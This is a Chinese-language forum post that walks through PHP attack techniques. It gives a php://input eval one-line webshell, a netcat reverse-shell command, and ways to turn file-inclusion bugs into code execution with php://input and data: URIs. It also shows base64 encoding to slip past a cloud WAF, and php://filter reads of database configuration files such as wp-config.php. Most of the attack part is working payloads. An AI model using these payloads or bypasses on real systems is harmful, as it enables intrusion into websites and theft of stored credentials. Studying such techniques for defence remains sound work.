360°网站管家_运维学院_提供最新最全的服务器运维视频教程与网站维护视频教程

 找回密码
 快速注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
1 2 3 4
查看: 2534|回复: 0
打印 上一主题 下一主题

利用php://input实现的webshell一句话木马

[复制链接]

823

主题

909

帖子

4623

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
4623
跳转到指定楼层
楼主
发表于 2015-10-9 11:35:40 | 只看该作者 |只看大图 回帖奖励 |倒序浏览 |阅读模式

亲!这问题您也搜索很久了吧?不如咨询下我们吧


613049616  613049616  613049616   613049616   613049616


一、php://input一句话木马

在调研dedecms的历史漏洞时,发现了dedecms安装文件曾经出过被植入后门的漏洞(SSV-ID站点include目录下shopcar.class.php文件被植入一句话木马)

@eval(file_get_contents('php://input'))

我是个十足的php菜鸟,只有用到的时候才会去查查语法书,对php://input也只是有点印象而已,于是用脚本phpinput.php,配合firefoxHackbar插件测试了一下php://input的功能

<?php

$data=file_get_contents('php://input');

echo $data."<br/>";

//@eval(file_get_contents('php://input'))

?>

发现php://input是用来接收post数据(这里有php://input的介绍)


注释掉phpinput.php的打印语句

<?php @eval(file_get_contents('php://input'))?>

使用firefox的hackbar提交上图显示的post data



system('ncat -e /bin/bash localhost 1234');

测试了一下nc反弹shell的利用,成功


看来,只要构造了合适的POST数据,就能达到getshell的目的。


二、php://input将文件包含漏洞变成代码执行漏洞

顿时觉得php://input好神奇,于是进一步搜索它还能发挥哪些作用。

首先看一段存在文件包含漏洞的代码



<?php @include($_GET["file"])?>


我们使用php://input,将执行代码通过Firefox 的hackbar 在POST data中提交



<?php system('ifconfig');?>

看,文件包含漏洞变成代码执行漏洞了



三、data URI schema将文件包含漏洞变成代码执行漏洞并绕过360网站卫士的WAF
那还有哪些办法,可以同样做到代码执行呢,Casperkid大牛的文章中提到,dataURI schema的使用就可以达到这样的效果。 data URIschema,我曾经在做钓鱼的练习中,将攻击代码生成这种格式并配合短地址转换来生成恶意url,见《利用iframeURI钓鱼》,但没想到可以用在文件包含漏洞中。接下来演示如何实施。

在实施的时候,我突然想到,文件包含漏洞,在读取php文件时,是不能显示文件内容的。

而很多情况,我们是急需读取PHP格式的配置文件,例如

dedecms数据库配置文件data/common.inc.php,

discuz全局配置文件config/config_global.php,

phpcms配置文件caches/configs/database.php

phpwind配置文件conf/database.php

wordpress配置文件wp-config.php

以便下一步渗透测试

于是我写了一段读取指定文件FileInclude.php的代码



<?php system('cat /var/www/FileInclude.php')?>

然后将攻击代码转化成data:URI,



data:text/plain,<?php system('cat /var/www/FileInclude.php')?>

运行,如下



注意,我们看到转化后的GET请求的参数中包含<?的标记,在遇到有些WAF,包括云WAF(例如360网站卫士),就会将其视为攻击代码,阻挡下来。于是我们需要做一下编码处理



data:text/plain;base64,[攻击代码的base64编码]

运行,如下



四、php://filter在文件包含漏洞中的利用——读取php文件源码内容

经过上面的操作,我们知道php://inputdata:URIschema可以将文件包含漏洞变成代码执行漏洞从而getshell。接下来看看php://input的好基友php://filter能做什么呢

php://filter/read=convert.base64-encode/resource=[文件路径]

下面演示通过php://filter读取本包含漏洞脚本的源码



接下来只要将base64编码后的字符串通过base64解码就可得到PHP文件的源码了

分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 快速注册

本版积分规则


Archiver|手机版|小黑屋|360wzgj Inc. 百度统计

GMT+8, 2024-11-22 17:19 , Processed in 0.069769 second(s), 29 queries .

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表